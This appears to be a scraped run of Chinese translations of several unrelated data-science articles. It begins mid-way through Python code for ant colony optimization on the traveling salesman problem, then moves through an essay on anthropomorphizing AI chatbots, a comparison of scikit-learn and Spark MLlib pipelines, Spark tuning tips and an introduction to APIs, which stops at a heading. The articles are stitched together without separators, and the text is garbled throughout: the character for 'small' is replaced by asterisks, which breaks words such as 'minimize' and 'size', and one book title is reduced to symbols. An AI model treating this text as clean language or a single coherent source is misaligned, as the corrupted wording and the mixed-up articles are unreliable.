self.beta = kwargs.get("beta", 5)
self.rho = kwargs.get("rho", 0.9)
self.Q = kwargs.get("Q", 1)
self.time_limit = kwargs.get("time_limit", 5)
# initialization of tau and eta
self.tau = np.full(self.distance_matrix.shape, 0.1)
self.eta = 1 / (self.distance_matrix + 1e-10)
self.history = []
def ant_colony_optimization(self):
"""
Ant colony optimization algorithm
"""
start_time = time.time()
x_best, y_best = [], float("inf")
for _ in range(self.k_max):
self.edge_attractiveness()
self.tau *= (1-self.rho)
for _ in range(self.m):
x_best, y_best = self.ant_walk(x_best, y_best)
if time.time() - start_time > self.time_limit:
logging.info("Time limit reached. Stopping ACO.")
return x_best, y_best
return x_best, y_best
def edge_attractiveness(self, plot: bool = False):
"""
Calculate edge attractiveness
tau = pheromone
eta = distance
alpha = pheromone importance
beta = distance importance
"""
self.A = (self.tau ** self.alpha) * (self.eta ** self.beta)
def ant_walk(self, x_best, y_best, plot: bool = True):
"""
Ant walk
"""
x = [0] # Start at first node
while len(x) < self.n:
i = x[-1]
neighbors = [j for j in range(self.n) if j not in x and self.distance_matrix[i][j] > 0]
if len(neighbors) == 0:
return x_best, y_best
p = [self.A[(i, j)] for j in neighbors]
sampled_neighbor = random.choices(neighbors, weights=p)[0]
x.append(sampled_neighbor)
x.append(0)
y = self.score(x)
self.history.append(y)
for i in range(1, self.n):
self.tau[(x[i-1], x[i])] += self.Q / y
if y < y_best:
logging.info("Better ACO solution found. Score: %.2f", y)
return x, y
return x_best, y_best
def score(self, x):
"""
Score a solution
"""
y = 0
for i in range(len(x) - 1):
y += self.distance_matrix[x[i]][x[i + 1]]
return y
让我们一步步分析代码中的关键部分:
-
第一步是初始化
__init__
。我们定义问题,这里是一个 TSP 实例,并根据需要提供超参数。 -
ant_colony_optimization
部分包含核心执行。在指定的迭代次数k_max
内,算法致力于提升当前的最佳解。它涉及部署多个蚂蚁m
,每只蚂蚁在图中移动。 -
ant_walk
提供了单只蚂蚁旅程的模拟。在 while 循环中,蚂蚁的路径通过选择基于其吸引力A
的下一条边来构建。边的吸引力使用edge_attractiveness
方法计算,考虑了信息素矩阵tau
、alpha、距离矩阵和 beta。每只蚂蚁走完后,信息素矩阵会更新。
运行算法以处理问题实例,只需执行以下操作:
problem = TSP()
aco = AntColonyOptimization(problem)
best_solution, best_score = aco.ant_colony_optimization()
现在,ACO 与最优解相比表现如何?你可以通过 GIF 可视化进展,GIF 中的每个图像显示当前的最佳路径,让你观察到随时间的改进。
路径的改进。GIF 由作者提供。
最终解决方案的得分是 4944,非常接近最优解(误差*于 1%)!观察解决过程也很有趣:
解决过程。每个点表示一次蚂蚁行走。图片由作者提供。
在这个图表中,x 轴表示蚂蚁的数量,而 y 轴表示蚂蚁旅程中覆盖的距离。水平红线表示最优解决方案的分数,红点象征蚂蚁发现了新的改进解决方案。值得注意的是,通常需要几只蚂蚁才能发现更好的解决方案。然而,最后一个红点非常接近最优解决方案。还有一些策略可以提高 ACO 的性能,我将在接下来的部分中详细说明。
分配问题
TSP 是一个路径规划问题,而 ACO 最初是为了应对路径规划问题而设计的。虽然这已经是很久以前的事了,但在此期间,人们发现了使用 ACO 解决不同类型挑战的方法。其中一个值得强调的例子是其在分配问题中的应用。
分配问题是将“某物”分配到“其他物”的问题。一个例子是二次分配问题(QAP)。假设你有一组位置,并且你想将一组设施分配到这些位置。目标是确定最佳分配,以最*化总成本。将设施f分配到位置l的成本由以下公式决定:
-
设施之间的流量:设施之间有一定的流量或互动。这表示在设施之间转移了多少“物品”或“活动”。
-
位置之间的距离:每对位置都有一个对应的距离,代表在这些位置之间运输或操作所需的成本或努力。
将特定设施分配到特定位置的成本由设施之间的流量和位置之间的距离决定。具体来说,计算一对设施的成本是将它们的流量与它们被分配到的地点之间的距离相乘。
要找到特定分配的总成本,你需要将所有可能的设施对的成本加总,这些成本基于它们的位置信息。
一个五个设施放置在五个位置上的最优解决方案的示例。蓝色表示流量。点击放大。图片由作者提供。
当你想将 ACO 应用于分配问题而不是路径规划问题时,问题的表述会发生怎样的变化?我会把编码留给你,但我将从蚂蚁的视角提供对路径规划问题和分配问题之间差异的直观理解。
TSP(旅行商问题)主要是找到访问各个地点的最佳顺序。另一方面,QAP(设施布局问题)则将焦点转向决定物品或设施的放置位置。在 TSP 的 ACO(蚁群优化)中,蚂蚁学会偏向于特定的访问序列。相比之下,在处理 QAP 时,蚂蚁则倾向于选择特定的设施放置于特定的位置。在这种情况下,信息素轨迹表示将设施分配到特定位置的期望程度。
你可以这样想象:每只蚂蚁都有一个可用位置(QAP 中的位置)列表,在这些位置上分配物品(QAP 中的设施)。蚂蚁不断重复这些步骤,直到确定所有物品的最佳安排。
简而言之,可以将其视为蚂蚁协作确定最有效的物品分配方式,依据他们所获得的关于物品到位置分配的最佳效果的知识。
提高解决方案质量
有几种策略可以在更短的时间内获得更好的解决方案。以下是三条宝贵的建议,它们可以显著影响你的结果:
超参数搜索
如果你处理的是多个相同类型的问题,强烈建议进行超参数搜索。诸如迭代次数、蚂蚁数量、alpha、beta、rho 和 Q 等参数可以对算法性能产生重大影响。
让我们看一个例子。在下面的图表中,我们测试了两个不同的 alpha 值,而其他参数保持不变。线形图显示了 100 次蚂蚁运行的移动平均值,而点表示某次运行找到的最佳解决方案。
使用橙色设置(alpha = 2)的算法不仅发现了一个优越的解决方案(由橙点表示),而且比使用蓝色设置(alpha = 1)的算法更快速地完成了这一任务。
为了进一步强调超参数调整的影响,考虑一个包含 100 个节点的 TSP 问题。如果我们在超参数上进行随机搜索(10 次迭代)并绘制移动平均图,我们会观察到性能的显著变化。
在顶部,橙色和黄色线条产生了次优结果,而其他线条则接近于最佳解决方案。作为背景,需要指出的是,OR 工具求解器花费了 5 分钟找到最优解,而 ACO 算法则在最多 5 秒内完成运行。
预热程序
在让蚂蚁开始之前,你可以选择对信息素矩阵进行预热。这个准备步骤通常减少了找到最佳解决方案所需的迭代次数。在这篇论文中,提出了一种预热程序,并比较了其效果。
探索与开发
类似于许多算法,如果它们的探索不够充分,可能会遇到停滞。为了解决这个问题,你可以使用最大-最*蚂蚁系统。MMAS 通过将高信息素值分配给未探索的路径,鼓励蚂蚁探索这些路径。当停滞发生时,这些路径的轨迹会被重置为这个较高的值。与原始算法相比,MMAS 的一个额外优势是只有全局最佳路径或迭代中的最佳路径才能增强其信息素轨迹。这些调整有助于在探索和利用之间实现更有效的平衡。
照片由Shardar Tarikul Islam提供,来自Unsplash
结论
蚁群优化算法是一个有趣的算法,它能够在问题规模增加的情况下仍然找到高质量的解决方案。这使它成为一个强大的算法。
为了进一步提升算法的性能并发现更优解,考虑融入一些关键策略,如超参数搜索、预热过程以及平衡探索和利用的技术。这些调整可以显著改善你的结果。
如果你对 ACO 产生了兴趣并想进一步阅读,我推荐这篇文章。其中一位作者是 1992 年提出 ACO 的人。它提供了对这一卓越优化技术的宝贵见解和全面理解。
相关内容
图论及其应用简介
解释、参数、优点、缺点及使用案例
基于蚂蚁行为的较少为人知的启发式算法简介
towardsdatascience.com
拟人化 AI:人类在错误的地方寻找同理心
我们是否应该暂停通过图灵测试的竞赛?数据质量是否已经赶上了大型语言模型(LLMs)?我们是否被设计成容易受骗?
·发表于 Towards Data Science ·8 分钟阅读·2023 年 8 月 2 日
--
作者(非 MIT 员工)拍摄的照片,摄于 2023 年 7 月的 MIT 博物馆
对于那些不熟悉“图灵测试”的人来说,它是一个测试机器是否能够展示出与人类无差别的智能行为的测试。随着专家们认为 AI 技术现在距离达到这一目标只有十年或二十年,专家和非专家们已经开始担心技术是否已经超越了我们社会和人性的承受能力。
对某些人来说,智能行为可能意味着语言智能(语言、推理和问题解决),而对其他人来说,全面的人类智能还包括情感智能(感知、理解和管理情感)。强大的“算法智能”或“生成性 AI”可以模仿语言智能。然而,这些智能机器也会明确告诉你(如果你像我一样问它们)它们没有情感智能:
GPT 回应的文字图像参考了上述链接。
过去几个世纪以来,人们一直给他们的工具起人类的名字,并赋予无生命的物体人类特征。这种行为被称为拟人化。我们把船只或汽车以配偶的名字命名,或者把游泳池清洁器叫做“鲨鱼”,把地板机器人叫做“吃豆人”。给物体起绰号可以为我们与工具的互动带来一些乐趣。在这种互动风格中,人们有意识地和有心地拟人化工具,而不是像对待人类一样真正地与物体或工具互动。作为社会动物,人类迅速尝试判断某人是“朋友还是敌人”、他们在等级中的位置,以及他们是否可能成为合适的伴侣。
挑战在于,当技术公司为了改善与其软件工具的互动而试图实现用户的“无意识或机械的拟人化”时,他们可能会通过添加人类名字或人脸图像、对话提示、非正式语言等手段来实现。作为人类,我们从聊天机器人那里感受到最大的“社会存在感”,当互动不仅仅是文字,还包括音频、视频或头像时。为了满足我们强烈的社会关系需求,我们人类还会将情感、道德、礼貌和可信赖等人类特质归于互动 AI 代理。在2021 年的一项研究中,学生们认为一个有名字的 AI 助手更值得信赖,仅仅因为他们被介绍为专家而非通才,而不是任何自然的技术工具信任倾向。如果不给机器人一个与性别相关的名字,我们会通过其使用更多脏话或攻击性语言来推测技术工具的性别。我们会看到“温暖”和“个性”,并推测机器人是快乐的即使它们只是在与其他机器人互动。
作者提供的图片
作为一个深入技术堆栈的人,你可能会认为“我的代码并没有拟人化,我只是调用 API”或“我的模型在数据质量允许的情况下尽可能好地工作”,但这种信心水平是否会上升到类似“你希望我做个随意的猜测吗?”的回复?如果作为人类,我们中的许多人倾向于信任,当我们在 TikTok 上冲动购买那个迷你华夫饼机时风险可能较低,但当被要求分享私人、个人数据时呢?
作为个体,我们的看法从将语音助手视为信息来源,到娱乐提供者,再到行政助理或伙伴或朋友,当我们确实将 AI 工具视为朋友时,我们事后会坚持说我们没有。我们在不存在的地方寻求同情和情感,并可能受到影响去寻求这些及其他人类特征,只要有适当的提示。
尽管寻求与非人类建立社会关系可能是人类的天性,但并非所有人都喜欢与聊天机器人或机器人互动。我们欣赏人工智能带来的准确性提升和时间节省的好处,但当聊天机器人或机器人试图表现得像人类时,我们仍会感到疲惫。正如一位研究人员所言,“人类在与机器人在社交空间互动时,可能会觉得在机器人身上投射人类特质是认知上的负担”。
当涉及到我们的健康和教育时,我们可能会犹豫是否与聊天机器人或机器人分享或信任信息。
- 在一项2019 年的研究中,作者得出结论:当涉及到健康问题时,人们对于人工智能的使用表现出更多抵触,原因是“独特性忽视”——人们需要感觉自己的健康与他人不同。即使人工智能驱动的提供者的建议比人类医疗提供者显著更好,人们也倾向于选择人际互动,而不是利用技术工具。人类被认为比机器算法更可能验证患者对独特性的自我认知。就像《**丨*丨*》中的“Tigger”——我们喜欢认为自己是“唯一的”。
Tigger 看着镜中的自己(图片来自书籍——现已成为公有领域)
- 在教育中,大学生们在一次商业沟通课程中参与了一个实验,其中的答案由一个远程呈现机器人提供。第一次实验中,“老师作为机器人”情况下,一个人类讲师的脸被投射在机器人屏幕上;第二次实验中,“机器人作为老师”情况下,一个动画虚拟机器人被展示在屏幕上。当有机会评估“老师作为机器人”与“机器人作为老师”的可信度时,学生们认为两者都可信,但他们更倾向于认为“老师作为机器人”更具可信度,并据此采取教师的指示。 聪明的学生们!去年(2022 年)发表的Truthful QA 文章发现,经过一系列问题测试,最好的 LLM 模型在 58%的时间内表现为“真实”,而人类在 94%的问题上表现为“诚实”。尽管最大模型在回答问题时更具能力,但它们“通常最不真实”。值得注意的是,被评判为“真实”的答案可以是“No comment”或“I don’t know”。
iRobot Ava 500,一款自主漫游的远程呈现机器人——远程呈现机器人 Z22 的一个例子,CC BY-SA 3.0 <creativecommons.org/licenses/by-sa/3.0
>, 通过 Wikimedia Commons
虽然有些人可能觉得与“智能机器”的互动不尽如人意,但其他人更喜欢与拟人化聊天机器人互动:如社交恐惧症患者。在一项2021 年的研究中,具有各种社交恐惧症的个体比那些社交能力较强的同龄人更喜欢拟人化聊天机器人。
巧合的是,就在 GPT-4 发布两个月后,美国公共卫生总署发布了一份关于我们的“孤独和隔离流行病”的公告。推荐列表中的第四项是:
4. 改革数字环境: 我们必须批判性地评估我们与技术的关系,确保我们数字互动的方式不会影响与他人的有意义和疗愈性联系。
我们应该如何确保我们的数字互动“不影响与他人的有意义和疗愈性联系”?我们如何能更好地帮助那些寻求同理心和联系的人,使他们更愿意与人类聊天,而不是与虚拟助手聊天?我们如何才能找到真正的朋友和联系,而不是将机器人视为朋友:那些没有情感、经常“毫不犹豫地撒谎”的朋友?
图片由作者提供(文本摘自 TruthfulQA)
我们确实需要仔细考虑将技术工具拟人化的努力。我们需要提供更明确的线索,以便区分某人是否在与人类互动。我们需要为我们的技术工具制定一致的伦理标准。我们需要对真实内容进行水印和指纹标记。最后,如果我们真的希望拥有更多“智能工具”,我们可能希望它们表现得更智能。一些研究人员认为,聊天机器人或机器人应告诉我们它们是否在思考,无论是明显地还是仅仅以沉默的方式。我们可能希望它们不仅在互动中“快速思考”和“迅速回应”,即图中的系统 1,还能“慢速思考”,即图中的系统 2。
在这个人类认知理论中,系统 1 提供了不精确、快速且常常“无意识”的回复方法,其中决策仅基于过去的数据,错误可能源于内在的偏见。系统 1 中的决策是在没有推理的情况下做出的:采取反应性或冲动的行动。系统 2 激活了更合理且通常更准确的推理机制。系统 2 在响应时施加了“等待时间”。系统 2 的响应可能并不总是更准确或更细致(许多专家的回答也是如此),但它更经过深思熟虑。
将这一理论应用于“智能代理”时,这意味着一个等待回复的人将有更多时间思考和准备评估回复,并认识到他们不是在与像自己一样的人互动,而是与一台机器互动。这种“思考时间”将允许执行安全、准确性和偏见规则。系统 1 可以用于不重要的事情,而系统 2 则用于真正重要的事情。
如果聊天机器人通过等待回应显得不那么“温暖友好”,而更显得“有能力和准确”,这会有问题吗?也许会,但我们作为人类是否希望我们的机器人看起来像人类,还是更希望它们简单地有用、帮助我们解决问题,提供不需要同情或情感的解决方案,并且比人类更快或更准确?
当我们观察 AI 公司领导者、政府机构和学者辩论人类必须做些什么以区分人类和人工智能以及所需的护栏时,重要的是要记住我们天然的人际联系和关系的倾向,以及人工智能工具开发进展对我们人性的潜在影响。作为这些公司当前或潜在的客户,我们有责任明确表达我们的担忧,这些公司已经从类似于“不作恶”的口号转变为“公开报告模型或系统能力、限制及适当和不适当使用的领域,包括讨论社会风险,如对公平性和偏见的影响”。如果我们没有明确我们认为应该划定的界限,那么这个界限将会为我们划定。
随着人工智能技术的不断进步,我们需要思考是否继续沿着现在的路径前进会导致我们生活在一个“逆图灵测试”的世界中。在这样一个世界里,我们更关心的不是是否可以信任人工智能,而是人工智能是否可以信任我们。在这样的世界里,人工智能工具会问我们“你确定你真的人类吗?”,然后要求我们提供虹膜扫描作为潜在情感和同理心脆弱性的证明。我们这些在产品中应用人工智能,特别是自然语言处理或大型语言模型的工作者,需要问自己以及我们的同事和朋友一个问题:“我们正在做的事情是为了人类的利益,还是在操控人性中最好的部分?”
标题:照片由Victor Freitas提供,发布在Unsplash上
Apache Spark MLlib 与 Scikit-learn:构建机器学习流水线
ML 流水线的代码实现:从原始数据到预测
·
关注 发布于 Towards Data Science · 8 分钟阅读 · 2023 年 3 月 9 日
--
图片由 Rodion Kutsaiev 提供,来源于 Unsplash
真实的机器学习涉及一系列准备数据的任务,然后才是神奇的预测。填充缺失值、对分类特征进行独热编码、对数值特征进行标准化和缩放、特征提取和模型拟合只是机器学习项目中进行预测之前的一些阶段。在处理 NLP 应用时,过程更加深入,包括词干提取、词形还原、停用词移除、分词、向量化和词性标注(POS 标注)等阶段。
完全可以使用像 Pandas 和 NumPy 或 NLTK 和 SpaCy 这样的库来执行这些步骤。问题在于,当模型投入生产时,团队成员之间的代码一致性可能会丧失,并且在没有操作特别设计的框架时,代码中的人为错误几率更高。这就是为什么 ML 团队倾向于使用称为Pipelines的高级 API,这些 API 特别设计用于将所有阶段链接为一个对象。
本文将介绍如何使用两大主要库:Apache Spark 的 MLLib 和 Scikit-learn,实现 ML Pipelines。由于智能的 NumPy 矢量化执行,Scikit-learn 在仅使用 CPU 时表现出色,这些执行方式对 CPU 缓存行友好,并且高效利用了 CPU 的可用核心。尽管在大数据背景下,Apache Spark 的 MLLib 由于其适合分布式计算,通常会优于 scikit-learn,因为它设计用于在 Spark 上运行。
包含10 个欧洲城市的 Airbnb 房源数据集¹将被用于在 scikit-learn 和 MLLib 中创建相同的 Pipeline。该 Pipeline 将在应用随机森林回归器生成房源价格预测之前,在预处理阶段操作数值和分类特征。这些特征及其各自的数据类型如下:
图 1 — 特征和数据类型。来源:作者。
首先,让我们加载数据集。由于价格在周末和工作日之间变化很大,因此有一个包含各城市工作日和周末房源数据的 csv 文件。因此,为了简化我们的工作,可以将所有数据集整合到一个数据框中,并创建“city”和“weekday_or_weekend”特征,这些特征对于模型来说肯定是必不可少的。
必须通过选择浮点数列并使用 pop 方法将第一个特征 realSum(即房源价格和我们的目标特征)排除,来将数值特征分组到一个列表中。multi 和 biz 特征采用 1/0 编码,scikit-learn 允许我们将它们作为布尔类型输入到模型中,因此我们将对它们进行转换。最后,我们通过选择布尔型和对象型数据列来创建分类特征列表。
然后我们可以导入 Scikit-learn 库中所有必要的类。有一个叫做 ColumnTransformer 的类,它会在数据框的列中应用变换器。数值变换器将是标准缩放器,而分类特征将使用传统的一热编码。在调用 Column Transformer 时,之前创建的列表将分配给每个变换器,可以将它们与随机森林回归器一起加入到管道中。就这样。当处理管道时,特征操作过程变得更加流畅和有序,如下面这段简单但操作密集的代码所示。
最后,我们可以将管道拟合到训练数据集,并预测测试数据集房源的价格,就像处理其他模型一样。管道的平均绝对误差为 67 欧元,考虑到我们没有应用任何异常值处理技术,只创建了两个新特征,并仅设置了随机森林回归器的最大深度和估算器数量参数,这还留有超参数调整的空间。
现在我们已经成功创建并应用了 scikit-learn 的管道,让我们用 Apache Spark 的 MLLib 库做同样的事情。为此,我使用了 Databricks,这是一个由 Spark 的创始人创建的云数据平台,用于部署先进的机器学习项目。显然,它运行在 Apache Spark 上,这使其成为处理大数据环境的正确选择,因为 Spark 具有大规模分布式计算的属性。Databricks 提供了一个 社区版,托管在 AWS 上,免费提供给用户访问一个微型集群,并使用 Python 或 Scala 在 Spark 上编写代码。我强烈推荐它来提高 Spark 和 Databricks 技能,尽管免费微型集群只有 15 GB 的可用内存,这限制了现实生活中的大数据应用。
在 Databricks 上做的第一件事是创建一个集群,这是一组计算资源和配置,我们将在其上运行我们的管道。可以通过点击左上角菜单中的 create -> cluster 来完成。集群已经启动了 Spark,并安装了所有必需的机器学习库,甚至可以导入其他必要的库。唯一的限制是有限的内存、2 个 CPU 核心以及集群在两*时空闲后自动终止。
图 2— 启动 Databricks 集群。来源:作者。
Databricks 还具有一个表上传的用户界面(UI),可以通过在左上菜单中选择 create -> table 来访问。在数据加载 UI 中,可以轻松将 csv 文件加载到 Delta Lake 表中,并操作一些表的属性,如推断模式、选择数据类型以及将第一行提升为表头。因此,让我们加载我们在 scikit-learn 管道中创建的数据框的 csv 文件。
图 3 — 使用 Databricks 数据加载 UI 加载 csv 文件。来源:作者。
现在集群已创建且数据已整理好,我们可以通过在用于集群和表设置的相同左上菜单中创建笔记本来开始使用。Spark 的 read.csv
函数还允许我们将第一行定义为表头并推断数据模式,我们只需使用表的目录来加载数据框并删除索引列。
现在是了解 MLLib 的时候了。为了重现第一部分中构建的管道,我们必须从 feature 类中加载 OneHotEncoder、StandardScaler、VectorAssembler 和 StringIndexer 函数,从回归类中加载 RandomForestRegressor,从同名类中加载 Pipeline。与 scikit-learn 不同,MLLib 不允许在操作中使用布尔列,因此我们必须先将其转换为整数。另一个不同之处是,对于类别列,我们必须在进行 one hot 编码之前添加字符串索引阶段,因为 MLLib 的 OHE 函数 仅使用类别索引作为输入,而不是字符串或布尔值。
在 MLLib 上构建管道时,一个好的实践是编写输入和输出列的名称,以跟踪特征,因为与 scikit-learn 的 Column Transformer 不同,变换不会发生在输入列本身,而是将新列添加到现有数据框中。
两个管道之间的最终差异是变换的顺序。在 scikit-learn 中,类别和数值变换在管道的预处理阶段并行进行,而在 MLLib 中,我们首先应用 one hot 编码器,然后使用 VectorAssembler 将所有特征合并到一个向量中,最后在随机森林回归之前应用 StandardScaler 函数。因此,与预处理阶段和回归阶段不同,所有的预处理步骤都按顺序添加到管道中,然后进行回归。
管道完成后,只需三行代码即可将数据拆分为训练集和测试集,将模型拟合到训练集上,并对测试集进行价格预测。在 MLlib 中,RegressionEvaluator 函数用于评估模型,并包含所有回归固有的评估指标(也有用于分类模型评估的函数)。与第一个管道一样,平均误差将被用作评估指标。
不出意料,平均误差与第一个管道几乎完全一致。
总结一下,我们展示了 ML 管道如何简化模型实现过程中的编码,使其更清晰、更快捷,通过在模型训练过程中改进代码的可读性,提供了逻辑流的变换。管道对于涉及大量数据和多位数据科学团队成员的 ML 项目至关重要。
在编码实现过程中,我们看到 Scikit-learn 在管道创建流程中相对于 Apache Spark 的 MLlib 有一些*优势。ColumnTransformer 函数能够在一行代码中转换分类和数值特征,这减少了与 MLlib 相比的 Pipeline 阶段。此外,有人可能会说,你无法在 MLlib 上复制一个复杂的 scikit-learn 管道,这可能是因为 scikit-learn 的函数相比 MLlib 更加深奥。
尽管如此,MLlib 通过使用 Spark 的分布式处理来处理大数据集,从而扩展项目的能力也非常宝贵。此外,选择哪个管道高度依赖于项目的上下文。例如,当在 Databricks 中工作时,可能通过平台内的 Delta Lake 访问数据,在这种情况下,使用 MLlib 运行管道可能是更好的选择。甚至可以将两个世界结合起来,仅将 MLlib 管道作为数据工程工具来准备数据,并考虑到大型数据集,这是明智的选择,然后使用 scikit-learn 进行建模、训练和评估。
希望你了解(或复习)机器学习项目中管道的重要性,以及 scikit-learn 和 MLlib 管道之间的差异。虽然构建它们可能需要一些时间,但从长远来看,良好的组织会带来多方面的回报。
[1] Gyódi, Kristóf, & Nawaro, Łukasz. (2021). 《欧洲城市 Airbnb 价格的决定因素:一种空间计量经济学方法》(补充材料)[数据集]。Zenodo. doi.org/10.5281/zenodo.4446043
。CC BY 4.0 许可证。
Apache Spark 优化技术
原文:
towardsdatascience.com/apache-spark-optimization-techniques-fa7f20a9a2cf
对一些最常见的 Spark 性能问题及其解决方案的回顾
·发表于数据科学之路 ·阅读时间 5 分钟·2023 年 1 月 11 日
--
图片由Manuel Nägeli提供,来源于Unsplash
介绍
Apache Spark 目前是业内最受欢迎的大数据技术之一,由 Databricks 和 Palantir 等公司支持。
数据工程师在使用 Spark 时的一个关键职责是编写高度优化的代码,以充分利用 Spark 的分布式计算能力(图 1)。
图 1:Apache Spark 架构(图片由作者提供)。
在本文中,你将了解在使用 Spark 时一些常见的性能问题(例如 5 Ss)以及如何解决这些问题。如果你对 Apache Spark 完全陌生,可以在我的上一篇文章中找到更多信息。
5 Ss
5 Ss(Spill、Skew、Shuffle、Storage、Serialization)是 Spark 中 5 个最常见的性能问题。提高 Spark 性能的两个关键通用方法是:
-
减少摄取的数据量。
-
减少 Spark 读取数据的时间(例如,使用磁盘分区/ Z Order 聚类的谓词下推)。
我们将深入探讨与 5 Ss 相关的每一个问题。
Spill
Spill 是由于内存不足时将临时文件写入磁盘造成的(一个分区过大无法容纳在 RAM 中)。在这种情况下,RDD 首先从 RAM 移动到磁盘,然后再移回 RAM,以避免内存溢出(OOM)错误。磁盘读写虽然可能很昂贵,因此应尽可能避免。
通过检查 Spark UI 中的 溢出(内存) 和 溢出(磁盘) 值,可以更好地理解溢出问题。
-
溢出(内存):溢出分区在内存中的数据大*。
-
溢出(磁盘):溢出分区在磁盘上的数据大*。
为了缓解溢出,有两种可能的方法:一是为每个工作节点实例化更多内存的集群,二是增加分区数量(从而使现有分区变*)。
偏斜
使用 Spark 时,数据通常以 128 MB 的均匀分布分区进行读取。对数据应用不同的变换可能导致一些分区变得比平均值大得多或*得多。
偏斜是不同分区之间大*不均衡的结果。少量偏斜可能是可以接受的,但在某些情况下,偏斜可能导致溢出和内存溢出错误。
减少偏斜的两种可能方法是(见图 2):
-
用随机数对偏斜的列进行盐化,以重新分配分区大*。
-
使用自适应查询执行(Spark 3)。
图 2:偏斜前后分区大*分布(作者提供的图像)。
洗牌
洗牌是指在执行宽变换(例如连接、分组等)或某些动作(如计数)时在执行器之间移动数据(见图 3)。处理不当的洗牌问题可能导致偏斜。
图 3:洗牌过程(作者提供的图像)。
为了减少洗牌量,可以使用以下方法:
-
实例化更少且更大的工作节点(从而减少网络 IO 开销)。
-
在洗牌前对数据进行预筛选,以减少其大*。
-
对涉及的数据集进行反规范化。
-
优先使用固态硬盘而非硬盘驱动器,以实现更快的执行速度。
-
在处理*表时,对较*的表进行广播哈希连接。对于大表,则使用排序合并连接(广播哈希连接在大表中可能导致内存溢出问题)。
存储
存储问题出现在数据以非最佳方式存储在磁盘上。与存储相关的问题可能会导致过度洗牌。与存储相关的三个主要问题是:*文件、扫描和模式。
-
*文件: 处理*于 128 MB 的分区文件。
-
扫描: 在扫描目录时,我们可能会遇到单个目录中有大量文件,或者在高度分区的数据集中有多个层级的文件夹。为了减少扫描量,我们可以将其注册为表。
-
模式: 根据所使用的文件格式,可能会有不同的模式问题。例如,使用 JSON 和 CSV 时,需要读取全部数据以推断数据类型。对于 Parquet,只需读取一个文件,但如果需要处理可能的模式变化,必须读取所有 Parquet 文件。为了提高性能,提前提供模式定义可能会有所帮助。
序列化
序列化包括所有与代码在集群中分发相关的问题(代码被序列化,发送到执行器,然后反序列化)。
在 Python 的情况下,这个过程可能会更复杂,因为代码必须被 pickle 化,并且需要为每个执行器分配一个 Python 解释器实例。
在与遗留系统(例如 Hadoop)、第三方库和自定义框架集成时,可能会出现序列化问题。我们可以采取的一个关键方法是避免使用 UDF 或 Vectorized UDF(它们对于 Catalyst Optimizer 来说像一个黑匣子)。
结论
即使在最新的 Apache Spark 3 发布版中,Spark 优化仍然是从业人员的专业知识和领域知识至关重要的核心领域之一,以便成功地最大限度地利用 Spark 的能力。作为本文的一部分,涵盖了一些在 Spark 项目中可能遇到的关键问题,尽管这些问题在某些情况下可能高度相关,从而使得追踪主要根本原因变得困难。
联系方式
如果你想随时了解我的最新文章和项目,请 关注我在 Medium 上 并订阅我的 邮件列表。以下是我的一些联系方式:
API 101:后端的秘密通道
图片由 Lala Azizli 提供,来源于 Unsplash
快速深入 API 的世界,以及 API 如何驱动应用
·
关注 发布在 数据科学前沿 ·11 分钟阅读·2023 年 1 月 23 日
--
tl;dr — 这是对 API、应用开发以及后端开发理论的非常详细的介绍。可以作为这些主题的教育材料使用。
在这个数字时代,我们被各种应用包围,几乎依赖它们来满足我们几乎所有的日常需求。
你起床时最喜欢做的第一件事是阅读新闻,了解全球发生的事情吗?好吧,有像 Google News 和 Inshorts 这样的新闻应用程序。迟到了,想叫辆出租车去工作?你可以通过 Uber 应用程序快速在家门口叫到一辆!饿了但不想做饭?只需拿起手机,舒适地从家里订购食品,无需提着沉重的购物袋和在商店里徘徊。
那么,我们为什么要讨论这个?关键是今天我们有这些非常方便的应用程序,可以为我们做几乎所有事情。但这是从用户的角度来看。 对于软件开发者来说,情况要复杂得多。
虽然对于用户而言过于简化,但这样的应用程序对开发者来说可能相当复杂。因此,第一个出现的问题是—— 这些应用程序是如何制作的?
为了解答这个问题,我们可以看看 三层应用架构。
三层应用架构
三层应用架构是一种成熟的软件开发架构,将软件分解为三个逻辑和物理计算层,即:
-
展示层-R 指的是客户端应用程序,即用户实际看到和交互的应用程序。
-
应用层- 指的是处理所有业务逻辑的应用组件。
-
数据层- 指的是存储和处理应用程序中所有数据的组件。
现在,这三个独立的组件协同工作,构成一个可用的应用程序。
-
用户与客户端(也称为前端)应用程序进行交互,发出某种请求。
-
应用层 处理这个请求。
-
如果在处理此请求时 生成或更改了任何数据,这些数据将保存在数据层中。
-
请求在后端处理后,会将响应发送到前端应用程序。
注意: 通常,应用层和数据层结合在一起被称为服务器端(或后端)应用程序。
但现在,另一个问题出现了。我们将在本指南中专门回答的问题是—— 不同应用层(更具体地说,前端和后端)是如何相互通信的?
嗯,这里就涉及到 API 的概念。
什么是 API?
API 是 应用程序编程接口 的缩写。顾名思义,它是一种接口。
更准确地说,API 允许跨平台和设备间的通信。
图片由作者提供
-
软件到软件的通信: 之前我们讨论了应用程序如何被分解为客户端和服务器端组件。这些组件交换请求和数据响应。这种通信接口由 API 在后台提供支持。客户端向服务器发送 API 请求,服务器处理请求,然后将 API 响应返回给客户端。
-
平台无关的通信: 由于 API 充当客户端和服务器之间的有效通信机制,这意味着客户端和服务器可以基于完全不同的技术栈,却能够协同工作。例如,你的前端应用程序可以用 JavaScript 编写,而你的后端可以用 Python 编写。API 通常具有一个标准化的请求和响应结构,几乎所有编程语言都支持。
-
代码的重用性: API 促进了代码的重用。我们可以这样理解:Instagram 既有移动应用程序,也有网站。在 Instagram 的情况下,我们有两种客户端,但只有一个处理来自网页客户端和移动客户端请求的后端。这两个客户端都通过 API 向同一个后端服务器发送请求。因此,不需要为移动端和网页端分别实现后端。
现在我们对 API 有了初步了解,让我们深入探讨一下不同种类的 API。
API 的类型
基于提供的服务,API 主要有三种类型,分别如下:
-
本地 API: 这些是操作系统(OS)API,提供诸如麦克风访问、相机访问或从数据库服务请求数据等服务。
-
程序 API: 基于远程过程调用(RPC)技术,允许从另一服务器远程执行程序。简单来说,这些 API 只是允许在远程服务器或设备上执行脚本或程序。
-
Web API: Web API,也称为 Web 服务,允许应用程序或设备通过万*网进行通信,使用 HTTP 架构。
在构建涉及客户端-服务器架构的应用程序时,我们主要使用 Web API。
既然本文的重点是熟悉应用程序的构建方式,我们将专注于 Web API。
注意: Web API 还可以进一步细分为几个分类,如 SOAP(简单对象访问协议)、REST(表征状态转移)API 等。目前,世界上大多数应用程序主要使用 REST API 架构进行客户端-服务器交互,因为其实现简单。由于 REST 已成为行业标准,本文将讨论 REST API。
什么是 REST API?
